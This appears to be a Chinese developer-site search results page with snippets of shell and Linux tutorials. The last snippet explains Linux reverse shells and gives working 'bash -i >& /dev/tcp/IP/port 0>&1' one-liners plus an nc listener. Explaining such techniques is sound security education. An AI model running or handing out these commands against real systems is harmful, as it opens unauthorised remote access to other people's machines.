首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

shell十三,为linux学习打基础(一)

本文整理并转自CU上的帖子[学习共享] shell 十三問?,此贴是2003年发表的,但却是相当不错的linux基础知识汇集贴,原帖主使用的中国台湾风格,本文加以简体化和整理。...第1:为何叫做shell? 在介绍 shell 是什么东西之前,不妨让我们重新审视使用者与电脑的关系。...这里,我们必须知道:kernel与shell是不同的两套软件,而且都是可以被替换的: 不同的操作系统使用不同的kernel 而在同一个kernel之上,也可使用不同的shelllinux的预设系统中...第2shell prompt(PS1)与 Carriage Return(CR)的关系?...第3:别人echo、你也echo,是echo知多少? 承接上一章所介绍的command line,这里我们用echo这个命令加以进一步说明。

1.2K40

shell十三,为linux学习打基础(三)

本文整理并转自CU上的帖子[学习共享] shell 十三問?,此贴是2003年发表的,但却是相当不错的linux基础知识汇集贴,原帖主使用的中国台湾风格,本文加以简体化和整理。...okay,十三还剩一而已,过几天再来搞定之….^_^ 第13:for what?while与until差在哪?...终于,来到shell十三的最后一问了…长长吐一口气~~~~ 最后要介绍的是shell script设计中常见的“循环”(loop)。所谓的loop就是script中的一段在一定条件下反复执行的代码。...(关于process与signal,等日后有机会再补充,十三暂时略过。)...婆婆妈妈的跟大家罗唆了一堆关于shell的基础概念,目的不是要告诉大家“答案”,而是要带给大家“启发”…在日后关于shell的讨论中,我或许会经常用“连接”方式指引回来十三中的内容,以便我们在进行技术探讨时彼此能有一些讨论基础

93160
您找到你想要的搜索结果了吗?
是的
没有找到

shell学习集合-shell十三

欢迎同学们来到马哥教育官网,今天和大家分享的文章是shell学习集合中的shell十三讲的内容,我们一起来学习一下吧!...1、shell字符串比较符 1.1、== == 可用于判断变量是否相等,我们在此前的课程当中也都给大家讲过,字符串的比较建议使用[[ ]],因为我们直接对字符串本身做比较的话,我们会习惯上对字符串加上双引号..." ],如果你就是不加双引号,否则就报test.sh: 第 4 行:[: 参数太多这样的错误直接懵逼了, 1.2、= =本身我只是用做赋值操作,建议大家不要去用=来做字符串比较,因为比较诡异,而且Linux...=表示不等于,与==正好是相反,在shell脚本中我们也经常使用它做一些字符串比较的操作。

46820

Linux——shell

什么是shellshell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?

10.7K30

linux shell编程

什么是shell  shell扮演者操作系统内核和用户的中间人的角色,用户通过键入shell command,然后shell通过解析用户输入,然后将请求转发给操作系统的内核进行处理。 1....还是hello world程序  首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名):  #!.../bin/sh                                osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ...        #         # nested if         if [ $osch -eq 2 ]         then                 echo "you pick up linux..."         else                 echo "what you donot like unix/linux"         fi fi #!

11.9K30

Linux反弹shell

2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入的命令当成靶机输入...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell

10.3K00
领券